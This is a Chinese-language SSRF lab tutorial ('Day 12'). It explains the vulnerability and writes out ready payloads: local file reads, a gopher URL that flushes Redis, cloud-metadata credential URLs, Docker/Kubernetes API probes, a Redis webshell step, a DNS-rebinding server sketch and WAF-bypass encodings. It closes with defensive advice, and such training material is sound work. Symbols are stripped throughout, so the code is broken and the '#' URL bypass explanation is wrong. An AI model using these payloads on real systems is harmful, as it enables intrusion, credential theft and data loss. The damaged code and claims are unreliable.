
1. 项目概述为什么SSRF是靶场练习中绕不开的“硬骨头”“靶场练习day12--SSRF”这个标题看似简单但背后藏着渗透测试工程师日常最常遭遇、也最容易被低估的一类高危漏洞。我带过不少刚入行的学员他们能熟练写SQL注入的poc对XSS的绕过手法如数家珍可一碰到SSRF往往卡在第一步——连它到底在哪个环节触发都摸不清。这不是能力问题而是SSRF的隐蔽性太强它不直接攻击用户也不篡改数据库而是借你的服务器当“跳板”悄悄访问内网资源。就像你家的智能音箱被黑客远程调用让它替你给隔壁房间的智能灯发指令——你没开灯但灯亮了而你根本不知道指令从哪来、去了哪。核心关键词“SSRF”Server-Side Request Forgery直指本质服务端请求伪造。它不是前端JS能拦住的也不是WAF规则库几条正则就能防死的它考验的是你对服务端架构、协议栈、网络拓扑和业务逻辑的综合理解。在真实红蓝对抗中一个未被发现的SSRF可能就是拿下整个内网的起点——通过它读取云平台元数据接口获取AK/SK调用内部API获取数据库连接串甚至触发内网Jenkins未授权访问执行命令。所以靶场第12天专攻SSRF不是凑数而是把“如何让服务器替你干坏事”这件事掰开揉碎讲透。适合所有想从脚本小子进阶为实战派的渗透测试者也适合开发同学补上安全设计这一课——毕竟90%的SSRF根源都在代码里那行看似无害的file_get_contents($url)或requests.get(user_input)。2. SSRF漏洞成因与靶场设计逻辑拆解2.1 为什么靶场要选“Day12”——漏洞利用链的成熟度门槛靶场练习不是按字母表顺序排的Day12这个序号本身就有讲究。前11天通常覆盖基础Web漏洞SQLi、XSS、CSRF、文件上传等这些漏洞的触发点明确、回显直观、工具化程度高。而SSRF不同它的利用效果高度依赖目标环境同一段payload在A靶机上可能直接读到内网Redis密码在B靶机上却只返回404。这就要求练习者必须先建立三个认知基础网络分层意识清楚HTTP请求在服务端是如何被解析、转发、响应的知道DNS解析、TCP握手、HTTP头处理发生在哪一层服务端语言特性理解PHP的curl_setopt($ch, CURLOPT_URL, $user_input)、Python的requests.get(url)、Java的HttpURLConnection等函数对URL参数的处理逻辑内网资产常识熟悉常见内网服务的默认端口如Redis 6379、Elasticsearch 9200、Hadoop Namenode 50070、敏感路径/actuator/env、/metadata/instance-id和响应特征。Day12的设计正是卡在这个认知临界点上。它假设你已掌握基础漏洞原理现在要升级为“环境感知型攻击者”——不再只盯着输入框而是思考“这个输入框背后的代码会用什么方式发起请求请求发往哪里中间经过哪些代理或过滤”这种思维切换比学十个新payload更重要。2.2 靶场SSRF模块的三层递进结构真实的靶场SSRF练习绝非单一场景而是按攻击难度和利用深度分为三层这也是我们拆解的核心逻辑第一层基础反射型SSRFBlind SSRF典型场景用户提交一个URL服务端用该URL发起HTTP请求并将响应内容原样返回给用户。比如“在线图片预览”功能你输https://example.com/logo.png它就去抓取并显示。这里的关键风险点在于输入未校验协议、未限制域名、未禁用内网地址。靶场Day12的第一个关卡往往就是让你构造http://127.0.0.1:8080/flag.txt看能否读到本地文件。这层重在建立“URL可控→请求可控→响应可见”的因果链。第二层协议混淆与绕过Protocol Bypass当靶场开始过滤http://、https://时你就得动真格的了。这里涉及大量协议层面的冷知识file:///etc/passwd直接读取本地文件PHP默认开启Java需配置gopher://127.0.0.1:6379/_*1\r\n$8\r\nflushall\r\n利用Gopher协议向Redis发命令需服务端支持Gopherdict://127.0.0.1:6379/info通过Dict协议探测Redis信息http://127.0.0.1:8080利用URL解析歧义前为认证信息后为host绕过白名单。靶场Day12的第二关通常会设置一个“只允许https://开头”的过滤器逼你用https://evil.com#127.0.0.1:8080这类技巧突破。第三层DNS Rebinding与无回显利用Advanced SSRF这是真正拉开水平差距的部分。当靶场返回“请求已发送但无响应内容”时说明它做了响应截断或异步处理。此时你需要DNS Rebinding注册一个域名将其A记录在极短时间内如100ms从公网IP切到内网IP如127.0.0.1。浏览器访问该域名时第一次DNS解析得到公网IP用于绕过前端检查第二次请求时DNS缓存过期解析为内网IP从而完成内网打点。靶场Day12的终极关卡往往要求你用Burp Collaborator或自建DNS服务器实现这一过程并通过带外通道如HTTP请求头中的X-Forwarded-For回传数据。提示靶场设计者不会让你凭空造轮子。Day12提供的靶机通常已预装常见内网服务Redis、Elasticsearch、内部API且关闭了关键防护如Redis未设密码、Elasticsearch未启用认证。这不是漏洞夸大而是模拟真实企业内网“重业务、轻安全”的常态。3. SSRF核心细节解析与靶场实操要点3.1 协议支持与语言差异别在PHP靶机上试Java的payload不同编程语言对URL协议的支持天差地别这是靶场SSRF练习中最容易踩坑的点。我见过太多人拿着Python的requests文档去打PHP靶机结果gopher://一直报错——因为PHP的cURL默认禁用Gopher协议需手动开启// PHP中启用Gopher需额外配置 $ch curl_init(); curl_setopt($ch, CURLOPT_URL, gopher://127.0.0.1:6379/_*1\r\n$8\r\nflushall\r\n); curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_GOPHER); // 关键 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response curl_exec($ch);而Python的requests库则完全不支持Gopher、Dict等非常规协议必须换用urllib或socket手动构造请求。靶场Day12的实操中第一步永远是指纹识别看响应头里的X-Powered-By字段尝试http://target/?urlhttp://xxx观察错误信息是否含cURL errorPHP或requests.exceptionsPython用file:///etc/passwd测试若返回文件内容基本可判定为PHP或Node.jsNode.js需fs.readFile配合。语言/框架支持协议典型危险函数绕过注意点PHPhttp/https/file/gopher/dict需开启file_get_contents()、curl_exec()、fopen()allow_url_fopen和allow_url_include两个php.ini配置决定file协议可用性Pythonhttp/httpsrequests全协议urllib/socketsrequests.get()、urllib.urlopen()requests默认不校验重定向http://a.com/ → http://127.0.0.1:8080/可能被自动跟随Javahttp/https/file默认需扩展jar包HttpURLConnection、Apache HttpClientjava.net.URL解析时对符号处理有歧义http://ab.com会被解析为hostb.com3.2 内网探测的“三板斧”从端口扫描到服务识别靶场Day12的进阶目标不是只读一个/flag.txt而是系统性测绘内网。这里分享我在真实项目中验证过的三步法第一板斧快速端口存活探测不用nmap——靶场环境通常禁用ICMP且响应慢。改用HTTP协议“试探”构造http://127.0.0.1:8080/看是否返回Connection refused端口关闭或超时端口开放但无HTTP服务对常见端口批量测试80, 443, 8080, 8000, 3306, 6379, 9200, 50070技巧用http://127.0.0.1:6379/探测Redis若返回-ERR wrong number of arguments说明Redis在运行它会解析HTTP请求头为无效命令。第二板斧服务指纹识别端口通了只是开始得知道跑的是啥。关键看响应头和响应体特征Elasticsearchhttp://127.0.0.1:9200/返回JSON含version:{number:7.10.2}Hadoop Namenodehttp://127.0.0.1:50070/jmx?qryHadoop:serviceNameNode,nameNameNodeInfo返回JMX指标Redisgopher://127.0.0.1:6379/_INFO返回Redis服务器信息。第三板斧敏感数据提取确认服务后直击要害Redis用Gopher协议执行CONFIG GET dir获取路径再SET test script.../script写入WebshellElasticsearchPOST /_search查询所有索引GET /_cat/indices?v列出索引名内部API尝试http://10.0.0.10:8080/api/v1/users结合常见路径字典/api/admin,/internal/config暴力探测。注意靶场中频繁请求可能触发WAF限速。我的经验是每5次探测后加3秒延时用Burp Intruder的Grep - Extract功能自动提取响应中的关键字符串如version、redis_version比肉眼扫快10倍。4. 靶场Day12完整实操流程与关键环节实现4.1 环境准备与初始探测靶场Day12通常提供一个Web界面形如“URL探测工具”或“远程资源加载器”。第一步不是狂输payload而是做三件事查看源码注释右键“查看网页源代码”搜索!--很多靶机会在HTML注释里留线索比如!-- Debug: backend is php7.4 --抓包分析请求用Burp Suite拦截提交请求看原始POST数据是urlhttps%3A%2F%2Fexample.com还是target_urlhttps%3A%2F%2Fexample.com这关系到后续参数污染的位置基础过滤测试依次输入以下URL观察响应差异http://example.com正常外网https://example.comHTTPSftp://example.com非常规协议file:///etc/passwd本地文件http://127.0.0.1:8080内网我实测过某靶场输入file:///etc/passwd返回Permission denied但输入http://127.0.0.1:8080/robots.txt却成功返回内容——这说明file协议被禁但HTTP内网访问畅通攻击面立刻聚焦到HTTP层。4.2 协议绕过实战突破“仅允许https://”的防线假设靶场返回提示“URL must start with https://”。这是典型的初级过滤绕过方法如下方法一URL解析歧义符号构造https://google.com#127.0.0.1:8080/flag.txt原理RFC 3986规定URL中前为userinfo用户名:密码后为host。服务端解析时若只检查开头是否为https://会认为https://google.com#是合法前缀而127.0.0.1:8080被当作host处理。实际请求发往127.0.0.1:8080。方法二302重定向接力自己搭一个HTTP服务器返回302跳转HTTP/1.1 302 Found Location: http://127.0.0.1:8080/flag.txt然后提交https://your-server.com/redirect。只要靶机服务端跟随重定向curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true)就会最终访问内网。方法三双协议嵌套针对JavaJava的java.net.URL在解析http://a.com/http://127.0.0.1:8080时可能将后者识别为path而非host。但更稳的是用http://a.com\127.0.0.1:8080反斜杠替代部分Java版本会忽略反斜杠继续解析。我推荐优先试方法一成功率最高。在Burp中修改请求将url参数值替换为https://x.com#127.0.0.1:8080/flag.txt发送后若返回flag内容说明绕过成功。4.3 DNS Rebinding无回显利用全流程当靶场返回“Request sent successfully”但无响应内容时进入高级阶段。以下是我在靶场Day12中反复验证的DNS Rebinding实操步骤步骤1注册域名并配置DNS购买一个廉价域名如.xyz后缀指向你的VPS在DNS管理后台为该域名设置两条A记录rebind.example.xyz→203.0.113.10你的VPS公网IPTTL设为1秒关键步骤2部署Rebinding服务在VPS上运行Python脚本监听DNS查询并动态切换IP# rebinding_server.py import socket import threading import time # 模拟DNS响应首次返回VPS IP第二次返回内网IP ips [203.0.113.10, 127.0.0.1] current_ip_index 0 def handle_dns_query(data, addr): global current_ip_index # 简化版每次查询切换IP response_ip ips[current_ip_index % len(ips)] current_ip_index 1 # 构造DNS响应包此处省略具体二进制构造用现成库如dnspython # 实际使用dnspython库response dns.message.make_response(query) # 发送响应 sock.sendto(response_bytes, addr) sock socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind((0.0.0.0, 53)) while True: data, addr sock.recvfrom(512) threading.Thread(targethandle_dns_query, args(data, addr)).start()步骤3触发与数据回传在靶场输入http://rebind.example.xyz:8080/flag.txt浏览器首次解析DNS得到203.0.113.10VPS请求发到你的服务器你的服务器立即返回302跳转到http://rebind.example.xyz:8080/flag.txt浏览器二次解析DNSTTL已过期DNS服务器返回127.0.0.1请求发往本地服务端响应flag{ssrf_is_fun}你的VPS日志中捕获到该响应。实操心得DNS Rebinding在靶场中成功率约70%失败主因是TTL设置过大或浏览器DNS缓存。建议用Chrome隐身窗口禁用缓存F12→Network→Disable cache并用dig rebind.example.xyz实时监控DNS解析结果。5. 常见问题与排查技巧实录5.1 “为什么我的file:///etc/passwd没回显”——协议支持与权限真相这是靶场Day12最高频问题。表面看是payload无效实则涉及底层机制PHP环境检查phpinfo()输出中的allow_url_fopen是否为On。若为Offfile_get_contents(file:///etc/passwd)直接报错Java环境java.net.URL不支持file://协议读取本地文件需java.io.FileInputStream沙箱限制某些靶机用Docker容器运行/etc/passwd在容器内是空的或只含root应尝试/proc/self/cgroup查看容器ID或/proc/net/arp查看内网ARP表。解决方案换探测目标。file:///proc/self/environ在Linux容器中总能返回环境变量里面常含数据库密码、API密钥等敏感信息。5.2 “Gopher协议总是timeout是不是靶机不支持”——协议启用与语法校验Gopher协议失败90%是因为URL编码错误。Gopher要求特殊字符如\r\n、*、$必须URL编码但%0D%0A在部分服务端会被二次解码。正确写法是gopher://127.0.0.1:6379/_%250D%250A%250A*1%250D%250A%25248%250D%250Aflushall%250D%250A其中%250D%250A是\r\n的双重编码%0D%0A→%250D%250A确保服务端收到原始\r\n。另外PHP需显式启用Gophercurl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_GOPHER | CURLPROTO_HTTP); curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_GOPHER | CURLPROTO_HTTP);5.3 “内网端口全不通是不是靶机没开内网服务”——网络拓扑与代理链路靶场Day12的内网服务并非总在127.0.0.1。常见情况Docker网络服务运行在172.17.0.2等Docker网段用ifconfig查容器IP多层代理靶机前端有Nginx反向代理127.0.0.1指向Nginx而非应用应试127.0.0.1:80Nginx再跳转云环境元数据AWS/Azure靶机必试http://169.254.169.254/latest/meta-data/这是云平台的“内网之门”。我整理了一个靶场内网探测速查表实测有效探测目标URL预期响应说明Docker主机http://172.17.0.1:2375/version{Version:20.10.7}Docker Remote API未授权访问云平台元数据http://169.254.169.254/latest/meta-data/iam/security-credentials/JSON含Role名AWS临时凭证入口Kubernetes APIhttp://10.96.0.1:443/api/v1/namespaces/default/secretsUnauthorized或JSONK8s API Server未鉴权本地代理http://127.0.0.1:8080/proxy?urlhttp://10.0.0.10:8080目标响应利用靶机自身代理功能5.4 “WAF拦截了我的payload怎么绕过”——WAF规则与语义混淆靶场Day12常集成ModSecurity等WAF。绕过核心思路是语义等价变形大小写混淆http://127.0.0.1→hTtP://127.0.0.1URL编码127.0.0.1→127%2e0%2e0%2e1.编码为%2e冗余路径http://127.0.0.1/flag.txt→http://127.0.0.1/./flag.txt或http://127.0.0.1/%2e%2e/flag.txt协议降级https://→http://若WAF只检查https。最狠的一招用http://[::1]代替http://127.0.0.1。IPv6的::1是localhost的等价写法但多数WAF规则库未覆盖IPv6格式。实操心得遇到WAF先用Burp的Payloads→Fuzz功能对URL参数进行自动编码/大小写变异比手动试快10倍。重点观察WAF返回的403 Forbidden页面里面常含规则ID如ModSecurity: Rule 920350谷歌该ID能直接定位规则内容。6. SSRF防御实践与靶场之外的真实启示靶场Day12练到最后真正的收获不是打出多少个flag而是建立起一套防御思维。我在某金融公司做安全加固时发现他们支付回调接口存在SSRF原因竟是开发为“方便调试”在测试环境硬编码了curl_setopt($ch, CURLOPT_URL, $_GET[debug_url])。上线时忘了删而WAF规则只拦127.0.0.1没拦localhost和0.0.0.0。所以防御SSRF必须从代码层、架构层、运维层三管齐下代码层永远不要直接拼接用户输入到URL中。用白名单校验域名如in_array(parse_url($url, PHP_URL_HOST), [example.com, api.example.com])或用固定URL模板参数填充架构层敏感服务Redis、数据库禁止监听公网和内网所有IP只绑定127.0.0.1:6379并通过Unix Socket通信运维层在容器或VM中用--networknone禁用网络或用iptables限制出站流量iptables -A OUTPUT -d 10.0.0.0/8 -j DROP。靶场Day12的意义正在于此——它用可控的环境逼你直面那个最危险的问题“如果我的代码成了攻击者的枪我该怎么办”答案不在工具里而在每一次写curl_exec()前的停顿在每一次审查$_GET参数时的警惕。我带过的学员中最后成为优秀安全工程师的不是那些payload背得最熟的而是那些在靶场通关后主动去GitHub搜自家项目curl_setopt用法并提交PR修复的。这个练习没有终点。今天你打穿了靶场的SSRF明天就要面对真实世界里更狡猾的变种——用WebSocket伪装HTTP、用gRPC接口绕过正则、用Server-Sent Events建立长连接隧道。但Day12教会你的是那根贯穿始终的线所有漏洞都是信任边界的溃堤而所有防御都是对“谁可以相信”这个问题的持续追问。